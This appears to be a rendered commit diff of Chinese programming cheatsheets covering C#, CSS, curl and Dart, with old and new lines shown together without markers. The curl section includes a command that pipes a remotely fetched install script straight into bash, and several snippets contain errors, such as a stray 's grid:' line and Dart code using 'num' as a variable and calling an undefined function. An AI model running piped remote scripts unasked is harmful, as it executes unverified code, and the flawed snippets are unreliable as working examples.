int[] numbers = {1, 2, 3, 4, 5};
for(int i = 0; i < numbers.Length; i++) {
Console.WriteLine(numbers[i]);
}
```
---
```cs
foreach(int num in numbers) {
Console.WriteLine(num);
}
```
C# 字符串
----------------
### 字符串连接
```cs
string first = "John";
string last = "Doe";
string name = first + " " + last;
Console.WriteLine(name); // => John Doe
```
### 字符串插值
```cs
string first = "John";
string last = "Doe";
string name = $"{first} {last}";
Console.WriteLine(name); // => John Doe
```
### 字符串成员
<!--rehype:wrap-class=row-span-2-->
成员 | 说明
:- | -
`Length` | 返回字符串长度的属性
`Compare()` | 比较两个字符串的静态方法
`Contains()` | 确定字符串是否包含特定的子字符串
`Equals()` | 确定两个字符串是否具有相同的字符数据
`Format()` | 通过 {0} 表示法和使用其他原语格式化字符串
`Trim()` | 从尾随和前导字符中删除特定字符的所有实例。 默认删除前导和尾随空格
`Split()` | 删除提供的字符并从两侧的剩余字符中创建一个数组
<!--rehype:className=show-header-->
### 逐字字符串
```cs showLineNumbers
string longString = @"I can type any characters in here !#@$%^&*()__+ '' \n \t except double quotes and I will be taken literally. I even work with multiple lines.";
```
<!--rehype:className=wrap-text-->
### 成员示例
```cs
// 使用 System.String 的属性
string lengthOfString = "How long?";
lengthOfString.Length // => 9
// 使用 System.String 的方法
lengthOfString.Contains("How"); // => true
```
### 频繁字符串拼接
```cs
var sb = new StringBuilder();
for (int i = 0; i < 100; i++)
{
sb.Append(i.ToString());
}
Console.WriteLine(sb.ToString());
// => 123456789....
```
对于频繁拼接字符串的场景(如:成百上千次循环),使用 `System.Text.StringBuilder` 提升性能
### 原始字符串文本
<!--rehype:wrap-class=col-span-2-->
```cs
// C#11 语法, 至少3个双引号(""")开头和结尾,内容可以输入任何原始字符
// 单行: 左引号,右引号,内容 三者同行
string singleLine = """Content begin "Hello World!" end.""";
// 多行:左引号,右引号各一行,内容需与右引号缩进对齐
string multiLine = """
Content begin "Hello World!" /\n<>"" end.
""";
Console.WriteLine(multiLine); // => Content begin "Hello World!" /\n<>"" end.
```
杂项
-----------
### 常用 .NET 概念
<!--rehype:wrap-class=col-span-3-->
概念 | 中文名 | 定义
:- | -|--
Runtime | 运行时 | 执行给定的已编译代码单元所需的服务集合
Common Language Runtime (CLR) | 通用语言运行库 | 主要定位、加载和托管 .NET 对象。<br/>CLR 还处理内存管理、应用程序托管、线程协调、执行安全检查和其他低级细节
Managed code | 托管代码 | 在 `.NET` 运行时编译和运行的代码。 C#/F#/VB 就是例子
Unmanaged code | 非托管代码 | 直接编译为机器代码且不能由 .NET 运行时直接托管的代码。<br/>不包含空闲内存管理、垃圾收集等。从 C/C++ 创建的 DLL 就是示例
<!--rehype:className=show-header-->

View File

@ -11,7 +11,9 @@ CSS 备忘清单
CSS 功能丰富,不仅仅是布局页面
#### 外部样式表
#### 外部样式表 `<link>`
`
```html
<link
@ -22,7 +24,7 @@ CSS 功能丰富,不仅仅是布局页面
```
<!--rehype:className=wrap-text -->
#### 内部样式表
#### 内部样式表 `<style>`
```html
<style>
@ -32,7 +34,7 @@ CSS 功能丰富,不仅仅是布局页面
</style>
```
#### 内联样式
#### 内联样式 `style`
```html
<h2 style="text-align: center;">
@ -149,14 +151,14 @@ div {
}
```
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-tricks)
查看: [Flexbox](#css-flexbox) | [Flex Tricks](#css-flexbox-技巧)
### Grid 布局
```css
#container {
display: grid;
grid: repeat(2, 60px) / auto-flow 80px;
s grid: repeat(2, 60px) / auto-flow 80px;
}
#container > div {
background-color: #8ca0ff;
@ -165,7 +167,7 @@ div {
}
```
查看: [Grid Layout](#css-grid-layout)
查看: [Grid Layout](#grid-布局)
### 变量和计数器
@ -244,17 +246,16 @@ p:first-child {
另见: [元素](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Type_selectors) / [类](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Class_selectors) / [ID](https://developer.mozilla.org/zh-CN/docs/Web/CSS/ID_selectors) / [通配](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Universal_selectors) 选择器
### 组合器
选择器 | 说明
:- | :-
`div.classname` | 具有特定类名的 div
`div#idname` | 具有特定 ID 的 div
`div p` | div 中的段落
`div > p` | div 子节点中的所有 `P` 标签
`div + p` | div 之后的 `P` 标签
`div ~ p` | div 前面的 `P` 标签
`div p` | div 中的所有段落
`div > p` | 父元素是 div 的 `P` 标签
`div + p` | div 之后的第一个同级 `P` 标签
`div ~ p` | div 之后所有的同级 `P` 标签
另见: [相邻兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Adjacent_sibling_combinator) / [通用兄弟](https://developer.mozilla.org/zh-CN/docs/Web/CSS/General_sibling_combinator) / [子](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Child_combinator) 选择器
@ -277,10 +278,10 @@ p:first-child {
选择器 | 说明
:- | :-
`a:link ` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
`a:active ` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
`a:hover ` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
`a:visited ` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
`a:link` | 链接正常 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:link)
`a:active` | 链接处于点击状态 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:active)
`a:hover` | 鼠标悬停链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:hover)
`a:visited` | 访问链接 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:visited)
---
@ -341,7 +342,7 @@ a:active { color: red; }
:- | :-
`p:first-child` | 第一个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-child)
`p:last-child` | 最后一个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:last-child)
`p:first-of-type` | 首先是某种类型 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-of-type)
`p:first-of-type` | 第一个 p 类型的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-of-type)
`p:last-of-type` | 某种类型的最后一个 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:last-of-type)
`p:nth-child(2)` | 其父母的第二个孩子 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-child)
`p:nth-child(3n42)` | Nth-child(an + b) 公式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:nth-child)
@ -353,8 +354,8 @@ a:active { color: red; }
`:is(header, div) p` | 可以选择的元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:is)
`:where(header, div) p` | 与 `:is` 相同 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:where)
`a:has(> img)` | 包含 `img` 元素的 `a` 元素 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:has)
`::first-letter` | 第一行的第一个字母 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-letter)
`::first-line` | 第一行应用样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/:first-line)
`::first-letter` | 第一行的第一个字母 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::first-letter)
`::first-line` | 第一行应用样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/::first-line)
CSS 字体
------
@ -367,12 +368,12 @@ CSS 字体
`font-family:` | 字体族名或通用字体族名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-family)
`font-size:` | 字体的大小 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-size)
`letter-spacing:` | 文本字符的间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/letter-spacing)
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
`line-height:` | 多行文本间距 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/line-height)
`font-weight:` | 粗细程度 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-weight)
`font-style:` | 字体样式 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font-style)
`text-decoration:` | 文本的修饰线外观 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-decoration)
`text-align:` | 相对它的块父元素对齐 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-align)
`text-transform:` | 指定文本大小写 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/text-transform)
另见: [Font](https://developer.mozilla.org/zh-CN/docs/Web/CSS/font)
@ -488,8 +489,8 @@ CSS 背景
属性 | 说明
:- | :-
`background:` | _([速记](#速记-1))_
`background-color:` | 查看: [Colors](#css-颜色)
`background:` | _([速记](#速记-1))_
`background-color:` | 查看: [Colors](#css-颜色)
`background-image:` | 一个或者多个背景图像
`background-position:` | 背景图片设置初始位置
`background-size:` | 背景图片大小
@ -555,7 +556,7 @@ CSS 盒子模型
另见: [box-sizing](https://developer.mozilla.org/zh-CN/docs/Web/CSS/Box-sizing)
### 能见度
### 能见度
```css
.invisible-elements {
@ -565,7 +566,6 @@ CSS 盒子模型
另见: [Visibility](https://developer.mozilla.org/zh-CN/docs/Web/CSS/visibility)
### Auto 关键字
```css
@ -577,7 +577,6 @@ div {
另见: [边距(margin)](https://developer.mozilla.org/zh-CN/docs/Web/CSS/margin)
### 溢出(Overflow)
```css
@ -607,7 +606,7 @@ animation: bounce 300ms linear 100ms infinite alternate-reverse
属性 | 说明
:- | :-
`animation:` | _([速记](#速记-2))_
`animation:` | _([速记](#速记-2))_
`animation-name:` | 动画名 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-name)
`animation-duration:` | 动画周期的时长 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-duration)
`animation-timing-function:` | 缓动函数 [#](https://developer.mozilla.org/zh-CN/docs/Web/CSS/animation-timing-function)
@ -804,7 +803,7 @@ flex-wrap: nowrap | wrap | wrap-reverse;
flex-direction: row | row-reverse | column | column-reverse;
```
----
---
```bash
╭┈┈╮ ▲ ╭┈┈╮ ┆
@ -825,7 +824,7 @@ column-reverse column row row-reverse
align-items: flex-start | flex-end | center | baseline | stretch;
```
----
---
```css
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
@ -863,7 +862,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
```
<!--rehype:className=wrap-text -->
----
---
```css
▶ flex-start(起点对齐) ▶ flex-end(终点对齐)
@ -903,7 +902,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
}
```
----
---
```css
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮ ╭┈┈┈┈┈┈┈┈┈╮
@ -927,7 +926,7 @@ align-content: flex-start | flex-end | center | space-between | space-around | s
}
```
----
---
```css
╭┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈┈╮
@ -983,7 +982,6 @@ CSS Flexbox 技巧
### 移动布局
```css
.container {
display: flex;
@ -1069,7 +1067,7 @@ CSS Grid 网格布局
### CSS 网格行
<!--rehype:wrap-class=row-span-2-->
CSS 语法:
CSS 语法:
- grid-row: grid-row-start / grid-row-end;
@ -1128,7 +1126,7 @@ grid-row-gap: length;
### grid-row-start & grid-row-end
CSS 语法:
CSS 语法:
- grid-row-start: auto|row-line;
- grid-row-end: auto|row-line|span n;
@ -1166,7 +1164,6 @@ grid-row-end: span 2;
}
```
### Justify Self
```css
@ -1263,9 +1260,206 @@ li::before {
}
```
Css 3 技巧
CSS 函数
-----------
### calc()
```css
width: calc(100% - 80px);
```
声明 CSS 属性值时执行一些计算
### clamp()
```css
font-size: clamp(1rem, 10vw, 2rem);
```
设置随窗口大小改变的字体大小
### attr()
```css
p:before {
content: attr(data-foo) " ";
}
```
获取选择到的元素的某一 HTML 属性值
### counter()
<!--rehype:wrap-class=row-span-2-->
返回一个代表计数器的当前值的字符串
```html
<ol>
<li></li>
<li></li>
<li></li>
</ol>
```
```css
ol {
counter-reset: listCounter;
}
li {
counter-increment: listCounter;
}
li::after {
content: "[" counter(listCounter) "] == ["
counter(listCounter, upper-roman) "]";
}
```
显示
```
1. [1]==[I]
2. [2]==[II]
3. [3]==[III]
```
### counters()
```css
ol {
counter-reset: count;
}
li {
counter-increment: count;
}
li::marker {
content: counters(count, '.', upper-alpha) ') ';
}
li::before {
content: counters(count, ".", decimal-leading-zero) " == " counters(count, ".", lower-alpha);
}
```
嵌套计数器,返回表示指定计数器当前值的连接字符串
### env()
```html
<meta name="viewport" content="... viewport-fit=cover">
```
<!--rehype:className=wrap-text-->
---
```css
body {
padding:
env(safe-area-inset-top, 20px)
env(safe-area-inset-right, 20px)
env(safe-area-inset-bottom, 20px)
env(safe-area-inset-left, 20px);
}
```
用户代理定义的环境变量值插入你的 CSS 中
### fit-content()
```css
fit-content(200px)
fit-content(5cm)
fit-content(30vw)
fit-content(100ch)
```
将给定大小夹紧为可用大小
### max()
从一个逗号分隔的表达式列表中选择最大(正方向)的值作为属性的值
```css
width: max(10vw, 4em, 80px);
```
例子中,宽度最小会是 80px除非视图宽度大于 800px 或者是一个 em 比 20px 宽
### min()
```css
width: min(1vw, 4em, 80px);
```
从逗号分隔符表达式中选择一个最小值作为 CSS 的属性值
### minmax()
```css
minmax(200px, 1fr)
minmax(400px, 50%)
minmax(30%, 300px)
minmax(100px, max-content)
minmax(min-content, 400px)
minmax(max-content, auto)
minmax(auto, 300px)
minmax(min-content, auto)
```
### repeat() 轨道列表的重复片段
```css
repeat(auto-fill, 250px)
repeat(auto-fit, 250px)
repeat(4, 1fr)
repeat(4, [col-start] 250px [col-end])
repeat(4, [col-start] 60% [col-end])
```
定义了一个长宽范围的闭区间
### url()
```css
background: url("topbanner.png") #00D no-repeat fixed;
list-style: square url(http://www.example.com/redball.png)
```
<!--rehype:className=wrap-text-->
### var()
```css
:root {
--main-bg-color: pink;
}
body {
background-color: var(--main-bg-color);
}
```
<!--rehype:className=wrap-text-->
代替元素中任何属性中的值的任何部分
CSS 技巧
------------
### 强制不换行
```css
p {
white-space:nowrap;
}
```
### 强制换行
```css
p {
word-break:break-all; /* 英文 */
white-space:pre-wrap; /* 中文 */
}
```
### 滚动条平滑
```css
@ -1376,7 +1570,6 @@ a[href^="http"]:empty::before {
如果 `<a>` 标签里面没有内容,将 `href` 的值作为内容展示
### 使用 :root 表示灵活类型
<!--rehype:wrap-class=row-span-2-->
@ -1396,6 +1589,27 @@ body {
}
```
### 吸附滚动
<!--rehype:wrap-class=row-span-2-->
```css {5,12}
.container {
height: 250px;
overflow-x: scroll;
display: flex;
scroll-snap-type: x mandatory;
column-gap: 10px;
}
.child {
flex: 0 0 66%;
width: 250px;
background-color: #663399;
scroll-snap-align: center;
}
```
可用于 `轮播图` 效果,[效果预览](https://codesandbox.io/embed/pensive-leftpad-w9p8rk?fontsize=14&hidenavigation=1&theme=dark)
### 类似 contenteditable 的样式
```css
@ -1408,6 +1622,15 @@ div {
通过样式来控制一个元素 `div` 是否可以编辑
### 定义容器的长宽比
```
div {
aspect-ratio: 1/1
}
```
属性 [aspect-ratio](https://developer.mozilla.org/zh-CN/docs/Web/CSS/aspect-ratio) 可以非常容易的定义一个容器的长宽比
另见
---------
@ -1419,4 +1642,4 @@ div {
- [CSS Tricks: A Complete Guide to Grid](https://css-tricks.com/snippets/css/complete-guide-grid/)
- [Browser support](https://caniuse.com/#feat=css-grid)
- [Flex 布局教程:语法篇](https://www.ruanyifeng.com/blog/2015/07/flex-grammar.html?utm_source=tuicool)
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)
- [CSS 专业技巧](https://github.com/AllThingsSmitty/css-protips/tree/master/translations/zh-CN)

View File

@ -13,7 +13,6 @@ Curl 是一种在服务器之间传输数据的工具,支持协议,包括 HT
- [Curl GitHub 源码仓库](https://github.com/curl/curl) _(github.com)_
- [Curl 官方网站](https://curl.se/) _(curl.se)_
### Options
<!--rehype:wrap-class=col-span-2 row-span-2-->
@ -151,9 +150,9 @@ curl -sSL https://get.rvm.io | bash
命令 | 说明
:- | :-
`curl -L -s http://ipecho.net/plain, curl -L -s http://whatismijnip.nl` | 获取我的公共 `IP`
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl`
`curl -u $username:$password http://repo.dennyzhang.com/README.txt` | 带凭证的 `curl`
`curl -v -F key1=value1 -F upload=@localfilename <URL>` | `curl` 上传
`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl
`curl -k -v --http2 https://www.google.com/` | 使用 http2 curl
`curl -T cryptopp552.zip -u test:test ftp://10.32.99.187/` | curl `ftp` 上传
`curl -u test:test ftp://10.32.99.187/cryptopp552.zip -o cryptopp552.zip` | curl `ftp` 下载
`curl -v -u admin:admin123 --upload-file package1.zip http://mysever:8081/dir/package1.zip` | 使用凭证 `curl` 上传
@ -282,4 +281,4 @@ curl -K file
# 从文件中读取配置
curl --config file
$HOME/.curlrc # 类 UNIX 系统中的默认配置文件
```
```

753
docs/dart.md Normal file
View File

@ -0,0 +1,753 @@
Dart 备忘清单
===
包含最重要概念、功能、方法等的 [Dart](https://dart.dev/) 备忘单。初学者的完整快速参考
入门
-----
### 安装 Dart
<!--rehype:wrap-class=row-span-2-->
#### Windows
```bash
C:\> choco install dart-sdk # Windows
```
#### Linux
执行以下一次性设置
```bash
$ sudo apt-get update
$ sudo apt-get install apt-transport-https
$ wget -qO- https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo gpg --dearmor -o /usr/share/keyrings/dart.gpg
$ echo 'deb [signed-by=/usr/share/keyrings/dart.gpg arch=amd64] https://storage.googleapis.com/download.dartlang.org/linux/debian stable main' | sudo tee /etc/apt/sources.list.d/dart_stable.list
```
安装 Dart SDK
```bash
$ sudo apt-get update
$ sudo apt-get install dart
```
#### Mac
```bash
$ brew tap dart-lang/dart
$ brew install dart
```
### hello.dart
```dart
// 应用执行开始的顶级函数
void main() {
print("Hello World!"); // 打印到控制台
}
```
每个应用程序都有一个 `main()` 函数
#### Windows
```bash
$ dart compile exe hellow.dart
$ time ./hello.exe
Hello World!
```
### 变量
```dart
int x = 2; // 显式键入
var p = 5; // 类型推断 - 具有类型推断的通用var
dynamic z = 8; // 变量可以采用任何类型
z = "cool"; // cool
// 如果您从不打算更改变量,请使用 final 或 const
// 像这样的东西:
final email = "temid@gmail.com";
// 与 var 相同,但不能重新分配
final String email = "temid@gmail.com";
// 你不能改变价值
const qty = 5; // 编译时常数
```
### 数据类型
<!--rehype:wrap-class=row-span-2-->
```dart
// 整数,范围 -2^63 到 2^63 - 1
int age = 20;
// 浮点数字
double height = 1.85;
// 您还可以将变量声明为 num
// x 可以同时具有 int 和 double 值
num x = 1;
num += 2.5;
print(num); // 打印: 3.5
String name = "Nicola";
bool isFavourite = true;
bool isLoaded = false;
```
### 注释
```dart
// 这是一条正常的单行注释
/// 这是一个文档注释,用于文档库,
/// 类及其成员。 IDE 和 dartdoc 等工具
/// doc 特别注释。
/* 也支持此类注释 */
```
### 字符串插值
```dart
// 可以对字符串类型使用单引号或双引号
var firstName = 'Nicola';
var lastName = "Tesla";
// 可以用 $ 将变量嵌入到字符串中
String fullName = "$firstName $lastName";
// 与 + 连接
var name = "Albert " + "Einstein";
String upperCase = '${firstName.toUpperCase()}';
print(upperCase); // 打印: NICOLA
```
<!--rehype:className=wrap-text -->
### 导入 Imports
```dart
// 导入核心库
import 'dart:math';
// 从外部包导入库
import 'package:test/test.dart';
// 导入文件
import 'path/to/my_other_file.dart';
```
操作符
-------
### 算术运算符
<!--rehype:wrap-class=row-span-2-->
```dart
print(2 + 3); // 打印: 5
print(2 - 3); // 打印: -1
print(2 * 3); // 打印: 6
print(5 / 2); // 打印: 2.5 - 结果是 double
print(5 ~/ 2); // 打印: 2 - 结果是n int
print(5 % 2); // 打印: 1 - 余
int a = 1, b;
```
----
```dart
// 增
b = ++a; // 前增量 - 在 b 获得其值之前增加 a
b = a++; // 后增量 - 在 b 获得它的值之后增加 a
// 递
b = --a; // 前减量 - 在 b 获得它的值之前减少 a
b = a--; // 后减量 - 在 b 获得它的值之后递减 a
```
### 逻辑运算符
<!--rehype:wrap-class=col-span-2-->
```dart
// !expr 反转表达式(将 false 更改为 true反之亦然
// || 逻辑或
// && 逻辑与
bool isOutOfStock = false;
int quantity = 3;
if (!isOutOfStock && (quantity == 2 || quantity == 3)) {
// ...Order the product...
}
```
### 等式和关系运算符
```dart
print(2 == 2); // 打印: true - 平等的
print(2 != 3); // 打印: true - 不相等
print(3 > 2); // 打印: true - 比...更棒
print(2 < 3); // 打印: true - 少于
print(3 >= 3); // 打印: true - 大于或等于
print(2 <= 3); // 打印: true - 小于或等于
```
控制流:条件
------
### if 和 else if
```dart
if(age < 18){
print("Teen");
} else if( age > 18 && age <60){
print("Adult");
} else {
print("Old");
}
```
### switch case
```dart
enum Pet {dog, cat}
Pet myPet = Pet.dog;
switch(myPet){
case Pet.dog:
print('My Pet is Dog.');
break;
case Pet.cat:
print('My Pet is Cat.');
break;
default:
print('I don\'t have a Pet');
}
// 打印: My Pet is Dog.
```
控制流:循环
-----
### while 循环
```dart
while (!dreamsAchieved) {
workHard();
}
```
循环迭代之前的 `while` 循环检查条件
### do-while 循环
```dart
do {
workHard();
} while (!dreamsAchieved);
```
`do-while` 循环在执行循环内的语句后验证条件
### for 循环
```dart
for(int i=0; i< 10; i++){
print(i);
}
var numbers = [1,2,3];
// 列表的 for-in 循环
for(var number in numbers){
print(number);
}
```
Collections
------------
### Lists
<!--rehype:wrap-class=col-span-2-->
```dart
// 有序的对象组
var list = [1, 2, 3];
print(list.length); //Print: 3
print(list[1]); //Print: 2
// 列表声明和初始化的其他方式
List<String> cities = <String>["New York", "Mumbai", "Tokyo"];
// 创建一个编译时常量的列表
const constantCities = const ["New York", "Mumbai", "Tokyo"];
```
### Maps
<!--rehype:wrap-class=row-span-2-->
```dart
// 映射是关联键和值的对象
var person = Map<String, String>();
// 要初始化地图,请执行以下操作:
person['firstName'] = 'Nicola';
person['lastName'] = 'Tesla';
print(person);
// 打印: {firstName:Nicola, lastName:Tesla}
print(person['lastName']);
// 打印: Tesla
var nobleGases = {
// Key: Value
2: 'helium',
10: 'neon',
18: 'argon',
};
```
### Sets
<!--rehype:wrap-class=col-span-2-->
```dart
// Dart 中的集合是唯一项的无序集合
var halogens = {'fluorine', 'chlorine', 'bromine', 'iodine', 'astatine'};
// 创建一个空集
var names = <String>{};
Set<String> names = {}; // 这也有效
//var names = {}; // 创建地图,而不是集合
```
函数
------
### 函数示例
```dart
// dart 中的函数是对象并且有一个类型
int add(int a, int b){
return a+b;
}
// 函数可以分配给变量
int sum = add(2,3); // 回报5
// 可以作为参数传递给其他函数
int totalSum = add(2, add(2,3)); // 返回7
```
### 箭头语法 (=>)
```dart
// 只包含一个表达式的函数,您可以使用简写语法
bool isFav(Product product) => favProductsList.contains(product);
```
<!--rehype:className=wrap-text-->
### Anonymous (lambda) functions
```dart
// 没有名字的小单行函数
int add(a,b) => a+b;
// lambda 函数大多作为参数传递给其他函数
const list = [
'apples', 'bananas', 'oranges'
];
list.forEach(
(item) =>
print('${list.indexOf(item)}: $item')
);
// 打印: 0: apples 1: bananas 2: oranges
```
<!--rehype:className=wrap-text-->
类和对象
----------
### 类 Class
```dart
class Cat {
String name;
// 方法
void voice(){
print("Meow");
}
}
```
### 对象 Object
```dart
// 类的实例
// 在 myCat 下面是 Cat 类的对象
void main(){
Cat myCat = Cat();
myCat.name = "Kitty";
myCat.voice(); // 打印: Meow
}
```
### 构造函数
```dart
class Cat {
String name;
Cat(this.name);
}
void main(){
Cat myCat = Cat("Kitty");
print(myCat.name); // 打印: Kitty
}
```
### 抽象类
```dart
// 抽象类——不能实例化的类
// 这个类被声明为抽象的,因此不能被实例化
abstract class AbstractContainer {
// 定义构造函数、字段、方法...
void updateChildren(); // 抽象方法
}
```
### Getters Setters
```dart
// 提供对对象属性的读写访问
class Cat {
String name;
// getter
String get catName {
return name;
}
// setter
void set catName(String name){
this.name = name;
}
}
```
隐式接口
------------
### 一个基本的界面
<!--rehype:wrap-class=col-span-2-->
```dart
// 一个人。隐式接口包含 greet()。
class Person {
// 在接口中,但仅在此库中可见。
final String _name;
// 不在接口中,因为这是一个构造函数。
Person(this._name);
// 在接口中
String greet(String who) => 'Hello, $who. I am $_name.';
}
// Person 接口的实现。
class Impostor implements Person {
String get _name => '';
String greet(String who) => 'Hi $who. Do you know who I am?';
}
String greetBob(Person person) => person.greet('Bob');
void main() {
print(greetBob(Person('Kathy')));
// 打印: Hello, Bob. I am Kathy.
print(greetBob(Impostor()));
// 打印: Hi Bob. Do you know who I am?
}
```
### 扩展类
```dart
class Phone {
void use(){
_call();
_sendMessage();
}
}
// 使用 extends 创建子类
class SmartPhone extends Phone {
void use(){
// 使用 super 来引用超类
super.use();
_takePhotos();
_playGames();
}
}
```
枚举
-----
### 定义枚举
```dart
enum Color { red, green, blue }
```
使用枚举,像访问任何其他静态变量一样访问枚举值:
```dart
final favoriteColor = Color.blue;
if (favoriteColor == Color.blue) {
print('Your favorite color is blue!');
}
```
枚举中的每个值都有一个索引获取器,它返回枚举声明中值从零开始的位置。 例如,第一个值的索引为 0第二个值的索引为 1
```dart
assert(Color.red.index == 0);
assert(Color.green.index == 1);
assert(Color.blue.index == 2);
```
要获取所有枚举值的列表,请使用枚举的值常量
```dart
List<Color> colors = Color.values;
assert(colors[2] == Color.blue);
```
您可以在 switch 语句中使用枚举,如果您没有处理枚举的所有值,您将收到警告:
```dart
var aColor = Color.blue;
switch (aColor) {
case Color.red:
print('Red as roses!');
break;
case Color.green:
print('Green as grass!');
break;
default: // 没有这个,你会看到一个警告
print(aColor); // 'Color.blue'
}
```
如果您需要访问枚举值的名称,例如 `Color.blue` 中的“blue”请使用 `.name` 属性:
```dart
print(Color.blue.name); // 'blue'
```
### 枚举示例
<!--rehype:wrap-class=col-span-2-->
声明了一个具有多个实例、实例变量、一个 `getter` 和一个已实现接口的增强型枚举
```dart
// 简单定义一个枚举类型
enum PlanetType { terrestrial, gas, ice }
// 定义一个行星复杂的枚举类型
enum Planet {
mercury(planetType: PlanetType.terrestrial, moons: 0, hasRings: false),
venus(planetType: PlanetType.terrestrial, moons: 0, hasRings: false),
uranus(planetType: PlanetType.ice, moons: 27, hasRings: true),
neptune(planetType: PlanetType.ice, moons: 14, hasRings: true);
// 定义一个构造函数
const Planet({required this.planetType, required this.moons, required this.hasRings});
// 声明枚举类型中的变量
final PlanetType planetType;
final int moons;
final bool hasRings;
// 实现枚举类型中的get 方法
bool get isGiant =>
planetType == PlanetType.gas || planetType == PlanetType.ice;
}
// 使用枚举类型
void main()
{
final yourPlanet = Planet.mercury;
if (!yourPlanet.isGiant) {
print('Your planet is not a "giant planet".');
}
}
```
Mixin
-----
### 定义Mixin
<!--rehype:wrap-class=col-span-2-->
`Dart`中类只能单继承,使用`Mixin`可以实现多个继承,复用多个类中代码的方法。
```dart
// 定义Mixin
mixin Piloted {
int astronauts = 1;
void describeCrew() {
print('Number of astronauts: $astronauts');
}
}
```
使用`with`关键字并在其后跟上`Mixin类`的名字来使用
```dart
// 使用with将Piloted混入
class PilotedCraft extends Spacecraft with Piloted {
// ···
}
```
支持混入多个Mixin如果出现相同的方法后混入的Mixin会覆盖前面的
```dart
class Musician extends Performer with Musical {
// ···
}
// 混入多个Mixin
class Maestro extends Person with Musical, Aggressive, Demented {
Maestro(String maestroName) {
name = maestroName;
canConduct = true;
}
}
```
使用关键字`on`来指定哪些类可以使用该Mixin比如有Mixin类`MusicalPerformer`,但是`MusicalPerformer`只能被`Musician`类使用,则可以这样定义`MusicalPerformer`
```dart
class Musician {
// ...
}
// 现在MusicalPerformer 只能在 Musican及其子类中使用
mixin MusicalPerformer on Musician {
// ...
}
class SingerDancer extends Musician with MusicalPerformer {
// ...
}
```
异常
-----
### Throw
```dart
// 抛出 throws 或引发 raises 和异常 exception
throw IntegerDivisionByZeroException();
// 你也可以抛出任意对象
throw "Product out of stock!";
```
### Catch
```dart
try {
int c = 3/0;
print(c);
} on IntegerDivisionByZeroException {
// 一个特定的异常
print('Can not divide integer by 0.')
} on Exception catch (e) {
// 任何其他异常情况
print('Unknown exception: $e');
} catch (e) {
// 没有指定类型,处理所有
print('Something really unknown: $e');
}
```
### Finally
```dart
// 确保某些代码无论是否抛出异常都能运行
try {
cookFood();
} catch (e) {
print('Error: $e'); // 先处理异常
} finally {
cleanKitchen(); // 然后清理
}
```
Futures
------------
### Async Await
```dart
// 异步函数:它们在设置可能耗时的操作后返回
// async 和 await 关键字支持异步编程
Future<String> login() {
String userName="Temidjoy";
return
Future.delayed(
Duration(seconds: 4), () => userName
);
}
// 异步
main() async {
print('Authenticating please wait...');
print(await userName());
}
```
各种各样的
------------
### Null 和 Null 感知
<!--rehype:wrap-class=col-span-2-->
```dart
int x; // 任何对象的初始值为 null
// ?? 空感知运算符
x ??=6; // ??= 赋值运算符,仅当变量当前为 null 时才为其赋值
print(x); // 打印: 6
x ??=3;
